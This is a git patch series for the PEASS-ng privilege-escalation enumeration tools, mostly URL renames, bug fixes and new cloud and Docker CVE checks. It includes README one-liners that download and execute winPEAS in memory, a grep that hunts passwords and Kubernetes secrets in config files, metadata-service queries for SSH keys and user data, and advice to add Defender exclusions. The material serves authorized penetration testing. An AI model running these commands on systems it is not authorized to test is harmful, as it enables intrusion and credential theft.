+++ b/parsers/peas2json.ps1 @@ -1,4 +1,4 @@ -# Based on https://github.com/carlospolop/PEASS-ng/blob/master/parsers/peas2json.py +# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/peas2json.py # Pattern to identify main section titles $CHAR_1 = [String][char]0x2550 # ═ diff --git a/winPEAS/README.md b/winPEAS/README.md index 350f687..b0724fc 100755 --- a/winPEAS/README.md +++ b/winPEAS/README.md @@ -1,19 +1,19 @@ # Windows Privilege Escalation Awesome Scripts -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)** Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)** ## Quick Start -Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**. +Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ## WinPEAS Flavours -- [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required) +- [Link to WinPEAS C# .exe project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required) - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks** -- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1) -- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat) +- [Link to WinPEAS .ps1 project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASps1) +- [Link to WinPEAS .bat project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASbat) ## PEASS Style diff --git a/winPEAS/winPEASbat/README.md b/winPEAS/winPEASbat/README.md index 1a4bb59..112fc0d 100755 --- a/winPEAS/winPEASbat/README.md +++ b/winPEAS/winPEASbat/README.md @@ -1,6 +1,6 @@ # Windows Privilege Escalation Awesome Script (.bat) -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)** diff --git a/winPEAS/winPEASbat/winPEAS.bat b/winPEAS/winPEASbat/winPEAS.bat index 1c406c8..0d43701 100755 --- a/winPEAS/winPEASbat/winPEAS.bat +++ b/winPEAS/winPEASbat/winPEAS.bat @@ -4,7 +4,7 @@ COLOR 0F CALL :SetOnce REM :: WinPEAS - Windows local Privilege Escalation Awesome Script -REM :: Code by carlospolop; Re-Write by ThisLimn0 +REM :: Code by PEASS-ng; Re-Write by ThisLimn0 REM Registry scan of other drives besides REM /////true or false @@ -46,7 +46,7 @@ CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m" CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m" -ECHO. by carlospolop +ECHO. by github.com/PEASS-ng ECHO. ECHO. diff --git a/winPEAS/winPEASexe/README.md b/winPEAS/winPEASexe/README.md index cda702f..e80f09e 100755 --- a/winPEAS/winPEASexe/README.md +++ b/winPEAS/winPEASexe/README.md @@ -1,23 +1,23 @@ # Windows Privilege Escalation Awesome Script (.exe) -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)** -[![youtube](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI) +[![youtube](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/screen.png)](https://youtu.be/66gOwXMnxRI) ## Quick Start **.Net >= 4.5.2 is required** Precompiled binaries: -- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation). +- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/peass-ng/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation). ```bash # Get latest release -$url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" +$url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" # One liner to download and execute winPEASany from memory in a PS shell $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("") @@ -61,7 +61,7 @@ winpeas.exe domain #enumerate also domain information winpeas.exe wait #wait for user input between tests winpeas.exe debug #display additional debug information winpeas.exe log #log output to out.txt instead of standard output -winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh) +winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh) winpeas.exe -lolbas #Execute also additional LOLBAS search check ``` @@ -82,7 +82,7 @@ REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective). -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/colors.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/colors.png) ## Instructions to compile you own obfuscated version @@ -104,7 +104,7 @@ Once you have installed and activated it you need to: **I'm sorry that all of this is necessary but is worth it. Dotfuscator minimizes a bit the size of the executable and obfuscates the code**. -![](https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASexe/images/dotfuscator.PNG) +![](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASexe/images/dotfuscator.PNG) **IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved: ![](https://user-images.githubusercontent.com/1741662/148418852-e7ffee6a-c270-4e26-bf38-bb8977b3ad9c.png) @@ -239,7 +239,7 @@ Once you have installed and activated it you need to: - **Additional (slower) checks** - [x] LOLBAS search - - [x] run **[linpeas.sh](https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh)** in default WSL distribution + - [x] run **[linpeas.sh](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh)** in default WSL distribution @@ -247,9 +247,9 @@ Once you have installed and activated it you need to: - Add more checks - Mantain updated Watson (last JAN 2021) -If you want to help with any of this, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)** or you can submit a pull request. +If you want to help with any of this, you can do it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)** or you can submit a pull request. -If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**. +If you find any issue, please report it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**. **WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges. diff --git a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs index 7ee5bc8..17e7e7e 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/Checks.cs @@ -47,7 +47,7 @@ namespace winPEAS.Checks private static readonly HashSet _systemCheckSelectedKeysHashSet = new HashSet(); // github url for Linpeas.sh - public static string LinpeasUrl = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh"; + public static string LinpeasUrl = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"; public const string DefaultLogFile = "out.txt"; diff --git a/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs b/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs index 095d5a5..ce11f8d 100644 --- a/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs +++ b/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs @@ -81,7 +81,6 @@ namespace winPEAS.Helpers /---------------------------------------------------------------------------------\ | {1}Do you like PEASS?{0} | |---------------------------------------------------------------------------------| - | {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} | | {3}Follow on Twitter{0} : {2}@hacktricks_live{0} | | {3}Respect on HTB{0} : {2}SirBroccoli {0} | |---------------------------------------------------------------------------------| diff --git a/winPEAS/winPEASps1/README.md b/winPEAS/winPEASps1/README.md index 9090279..82f1232 100755 --- a/winPEAS/winPEASps1/README.md +++ b/winPEAS/winPEASps1/README.md @@ -1,6 +1,6 @@ # Windows Privilege Escalation Awesome Script (.ps1) -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)** @@ -12,11 +12,11 @@ The official **maintainer of this script is [RandolphConley](https://github.com/ ## Quick Start -Download the **[latest releas from here](https://github.com/carlospolop/PEASS-ng/releases/latest)**. +Download the **[latest releas from here](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash -powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')" +powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')" ## Advisory diff --git a/winPEAS/winPEASps1/winPEAS.ps1 b/winPEAS/winPEASps1/winPEAS.ps1 index afe3986..0884504 100644 --- a/winPEAS/winPEASps1/winPEAS.ps1 +++ b/winPEAS/winPEASps1/winPEAS.ps1 @@ -19,10 +19,10 @@ .NOTES Version: 1.3 - PEASS-ng Original Author: carlospolop + PEASS-ng Original Author: PEASS-ng winPEAS.ps1 Author: @RandolphConley Creation Date: 10/4/2022 - Website: https://github.com/carlospolop/PEASS-ng + Website: https://github.com/peass-ng/PEASS-ng TESTED: PoSh 5,7 UNTESTED: PoSh 3,4 @@ -244,11 +244,11 @@ Write-Color "(((((((((. ,(############################(../(((((((((." -Color Gre Write-Color " (((((((((/, ,####################(/..((((((((((." -Color Green Write-Color " (((((((((/,. ,*//////*,. ./(((((((((((." -Color Green Write-Color " (((((((((((((((((((((((((((/" -Color Green -Write-Color " by CarlosPolop & RandolphConley" -Color Green +Write-Color " by PEASS-ng & RandolphConley" -Color Green ######################## VARIABLES ######################## -# Manually added Regex search strings from https://github.com/carlospolop/PEASS-ng/blob/master/build_lists/sensitive_files.yaml +# Manually added Regex search strings from https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml # Set these values to true to add them to the regex search by default $password = $true From 751d61b27f6e3d632b681b93d5393b95693fde64 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Mon, 8 Apr 2024 14:41:46 +0800 Subject: [PATCH 31/69] Update 3_cloud.sh Delete the condition that Tencent Cloud detection is liable to cause false positives --- linPEAS/builder/linpeas_parts/3_cloud.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 266ea8e..a5fb302 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -45,7 +45,7 @@ check_aliyun_ecs () { check_tencent_cvm () { is_tencent_cvm="No" - if [ -f "/etc/cloud/cloud.cfg.d/05_logging.cfg" ] || grep -qi Tencent /etc/cloud/cloud.cfg; then + if grep -qi Tencent /etc/cloud/cloud.cfg; then is_tencent_cvm="Yes" fi } From a2fb2cd2be5cac4af2264953ecf45380aacd4942 Mon Sep 17 00:00:00 2001 From: cp Date: Mon, 8 Apr 2024 11:31:00 +0200 Subject: [PATCH 32/69] Update 3_cloud.sh --- linPEAS/builder/linpeas_parts/3_cloud.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index a5fb302..e6ede29 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -154,7 +154,7 @@ check_do print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aliyun_ecs print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -#check_tencent_cvm +check_tencent_cvm print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_ibm_vm print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," From d8f86e81b284e8e81e46b9a7b71878bea154c8c5 Mon Sep 17 00:00:00 2001 From: Gary Corrall <4834451+gcorrall@users.noreply.github.com> Date: Thu, 11 Apr 2024 14:54:27 +0100 Subject: [PATCH 33/69] Fix 'find possible conf files with passwords' in 9_interesting_files.sh --- linPEAS/builder/linpeas_parts/9_interesting_files.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files.sh index 6e69b88..bb085cb 100644 --- a/linPEAS/builder/linpeas_parts/9_interesting_files.sh +++ b/linPEAS/builder/linpeas_parts/9_interesting_files.sh @@ -301,14 +301,14 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible conf files with passwords print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" if ! [ "$SEARCH_IN_FOLDER" ]; then - ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null) else - ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null) fi printf "%s\n" "$ppicf" | while read f; do - if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then + if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null; then echo "$ITALIC $f$NC" - grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" + grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" fi done echo "" From 972503f806fc76c79080718edaf3767f0f213c96 Mon Sep 17 00:00:00 2001 From: cp Date: Sun, 5 May 2024 11:48:54 +0200 Subject: [PATCH 34/69] Update CI-master_tests.yml --- .github/workflows/CI-master_tests.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/CI-master_tests.yml b/.github/workflows/CI-master_tests.yml index c137b5c..e7f4c80 100644 --- a/.github/workflows/CI-master_tests.yml +++ b/.github/workflows/CI-master_tests.yml @@ -321,8 +321,8 @@ jobs: # Build linpeas - name: Build macpeas run: | - python3 -m pip install PyYAML - python3 -m pip install requests + python3 -m pip install PyYAML --break-system-packages + python3 -m pip install requests --break-system-packages cd linPEAS python3 -m builder.linpeas_builder From fa5578b2ff39be06adec065ddfd6fcb09b791786 Mon Sep 17 00:00:00 2001 From: Dante <148709693+dante-tech@users.noreply.github.com> Date: Sun, 5 May 2024 14:50:25 +0200 Subject: [PATCH 35/69] Refactor peasLoaded.py for Improved Efficiency This pull request introduces a set of improvements to the peasLoaded.py file, aimed at enhancing the readability, maintainability, and performance of the code. The key changes include: - Indentation Correction: Fixed the indentation to comply with Python standards, ensuring proper code block recognition and avoiding potential runtime errors. - List Comprehension: Implemented list comprehension for the creation of FileRecord instances, which simplifies the code structure and improves readability. - Configuration Handling: Streamlined the access to the config dictionary by extracting it once at the beginning of the loop, reducing repetitive code and potential access errors. - Default Value Usage: Utilized the .get() method with default values from DEFAULTS for both `auto_check` and `exec` keys. These changes do not alter the core functionality of the code but provide a cleaner and more efficient approach to the existing logic. Please review the changes and let me know if there are any concerns or further improvements that can be made. --- linPEAS/builder/src/peasLoaded.py | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/linPEAS/builder/src/peasLoaded.py b/linPEAS/builder/src/peasLoaded.py index 4ad3c26..5046e78 100644 --- a/linPEAS/builder/src/peasLoaded.py +++ b/linPEAS/builder/src/peasLoaded.py @@ -6,26 +6,24 @@ class PEASLoaded: def __init__(self): to_search = YAML_LOADED["search"] self.peasrecords = [] + for record in to_search: record_value = record["value"] - if "linpeas" in str(record_value["config"].get("disable","")).lower(): + config = record_value.get("config", {}) + + if "linpeas" in config.get("disable", "").lower(): continue - filerecords = [] - for filerecord in record_value["files"]: - filerecords.append( - FileRecord( - regex=filerecord["name"], - **filerecord["value"] - ) - ) + filerecords = [ + FileRecord(regex=filerecord["name"], **filerecord["value"]) + for filerecord in record_value["files"] + ] - name = record["name"] self.peasrecords.append( PEASRecord( - name=name, - auto_check=record_value["config"]["auto_check"], - exec=record_value["config"].get("exec", DEFAULTS["exec"]), + name=record["name"], + auto_check=config.get("auto_check", DEFAULTS["auto_check"]), + exec=config.get("exec", DEFAULTS["exec"]), filerecords=filerecords ) - ) \ No newline at end of file + ) From 5c1f0813440a9695f0dd0cc7e09c500644b4f8fe Mon Sep 17 00:00:00 2001 From: Farzin Monsef Date: Sun, 2 Jun 2024 17:43:09 +0330 Subject: [PATCH 36/69] checkDockerVersionExploits: add CVE-2021-41091 --- linPEAS/builder/linpeas_parts/2_container.sh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/linPEAS/builder/linpeas_parts/2_container.sh b/linPEAS/builder/linpeas_parts/2_container.sh index 39235bf..6b64435 100644 --- a/linPEAS/builder/linpeas_parts/2_container.sh +++ b/linPEAS/builder/linpeas_parts/2_container.sh @@ -113,6 +113,7 @@ checkDockerVersionExploits() { if echo "$dockerVersion" | grep -iq "not found"; then VULN_CVE_2019_13139="$(echo_not_found)" VULN_CVE_2019_5736="$(echo_not_found)" + VULN_CVE_2021_41091="$(echo_not_found)" return fi @@ -125,6 +126,11 @@ checkDockerVersionExploits() { if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then VULN_CVE_2019_5736="Yes" fi + + VULN_CVE_2021_41091="$(echo_no)" + if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "20109" ]; then + VULN_CVE_2021_41091="Yes" + fi } checkContainerExploits() { @@ -268,6 +274,7 @@ if echo "$containerType" | grep -qi "docker"; then checkDockerVersionExploits print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2021-41091 ...$NC$VULN_CVE_2021_41091"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," if [ "$inContainer" ]; then checkDockerRootless print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," From efa0e98547a7aaeefe92a6b00329314c78b12dc4 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Mon, 17 Jun 2024 11:23:11 +0800 Subject: [PATCH 37/69] Update 3_cloud.sh for check_cvm Added connection timeout Settings and fixed wget syntax errors for check_cvm --- linPEAS/builder/linpeas_parts/3_cloud.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index e6ede29..6a69577 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -168,9 +168,9 @@ echo "" if [ "$is_tencent_cvm" = "Yes" ]; then tencent_req="" if [ "$(command -v curl)" ]; then - tencent_req='curl -sfkG' + tencent_req='curl --connect-timeout 2 -sfkG' elif [ "$(command -v wget)" ]; then - tencent_req='wget -q -O ' + tencent_req='wget -q --timeout 2 --tries 1 -O -' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi From 8afc3528783edbdccb7401f250a56921387f1656 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Mon, 17 Jun 2024 14:31:28 +0800 Subject: [PATCH 38/69] Update 3_cloud.sh add detect user data --- linPEAS/builder/linpeas_parts/3_cloud.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 6a69577..ea1ccb5 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -237,6 +237,10 @@ if [ "$is_tencent_cvm" = "Yes" ]; then echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key") echo " ==============" done + + echo "" + print_3title "User Data" + eval $tencent_req http://169.254.0.23/latest/user-data; echo "" fi if [ "$is_aliyun_ecs" = "Yes" ]; then From b43511972398f0cd8ebcea3b93bde0f26252d2c1 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 27 Aug 2024 22:08:48 +0200 Subject: [PATCH 39/69] WinPEASS Big Update --- LICENSE | 2 +- README.md | 3 - linPEAS/README.md | 2 - winPEAS/README.md | 2 - winPEAS/winPEASbat/README.md | 3 - winPEAS/winPEASbat/winPEAS.bat | 6 +- winPEAS/winPEASexe/README.md | 8 +- winPEAS/winPEASexe/Tests/SmokeTests.cs | 2 +- .../winPEAS/3rdParty/Watson/Watson.cs | 4 +- .../winPEAS/Checks/ApplicationsInfo.cs | 10 +- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 118 ++- .../winPEASexe/winPEAS/Checks/CloudInfo.cs | 93 +++ .../winPEASexe/winPEAS/Checks/FileAnalysis.cs | 53 +- .../winPEASexe/winPEAS/Checks/FilesInfo.cs | 18 +- .../winPEASexe/winPEAS/Checks/ProcessInfo.cs | 9 +- .../winPEASexe/winPEAS/Checks/SystemInfo.cs | 3 +- .../winPEASexe/winPEAS/Helpers/Beaprint.cs | 10 +- winPEAS/winPEASexe/winPEAS/Helpers/MyUtils.cs | 45 ++ .../Helpers/Registry/RegistryHelper.cs | 34 + .../winPEAS/Info/ApplicationInfo/AutoRuns.cs | 43 +- .../winPEAS/Info/CloudInfo/AWSInfo.cs | 201 +++++ .../winPEAS/Info/CloudInfo/AzureInfo.cs | 88 ++ .../winPEAS/Info/CloudInfo/CloudInfoBase.cs | 77 ++ .../winPEAS/Info/CloudInfo/EndpointData.cs | 10 + .../winPEAS/Info/CloudInfo/GCPInfo.cs | 208 +++++ .../winPEAS/Info/FilesInfo/WSL/WSLHelper.cs | 136 ++++ .../NetworkInfo/NetworkScanner/NetPinger.cs | 56 ++ .../NetworkScanner/NetworkScanner.cs | 93 +++ .../NetworkScanner/NetworkUtils.cs | 221 ++++++ .../NetworkInfo/NetworkScanner/PortScanner.cs | 122 +++ .../Info/ProcessInfo/DefensiveProcesses.cs | 751 +++--------------- .../winPEAS/Info/SystemInfo/SystemInfo.cs | 4 +- .../Browsers/Firefox/Firefox.cs | 2 +- winPEAS/winPEASexe/winPEAS/winPEAS.csproj | 13 +- .../winPEASexe/winPEAS/winPEAS.csproj.user | 2 +- winPEAS/winPEASps1/README.md | 4 +- 36 files changed, 1727 insertions(+), 729 deletions(-) create mode 100644 winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureInfo.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/CloudInfo/EndpointData.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCPInfo.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSLHelper.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetPinger.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkScanner.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkUtils.cs create mode 100644 winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/PortScanner.cs diff --git a/LICENSE b/LICENSE index 78a5d1c..afa1236 100755 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which peass-ng is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -peass-ng is (C) 2006-2022 Carlos Polop Martin. +peass-ng is (C) 2019-2024 Carlos Polop Martin. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/README.md b/README.md index c72e70b..47ac44c 100755 --- a/README.md +++ b/README.md @@ -38,6 +38,3 @@ If you want to **add something** and have **any cool idea** related to this proj All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission. - - -By Polop(TM) diff --git a/linPEAS/README.md b/linPEAS/README.md index 298bfc3..7f202a0 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -233,5 +233,3 @@ If you find any issue, please report it using **[github issues](https://github.c All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. - -By Polop(TM) diff --git a/winPEAS/README.md b/winPEAS/README.md index b0724fc..0407e78 100755 --- a/winPEAS/README.md +++ b/winPEAS/README.md @@ -23,5 +23,3 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. - -By Polop diff --git a/winPEAS/winPEASbat/README.md b/winPEAS/winPEASbat/README.md index 112fc0d..444a33c 100755 --- a/winPEAS/winPEASbat/README.md +++ 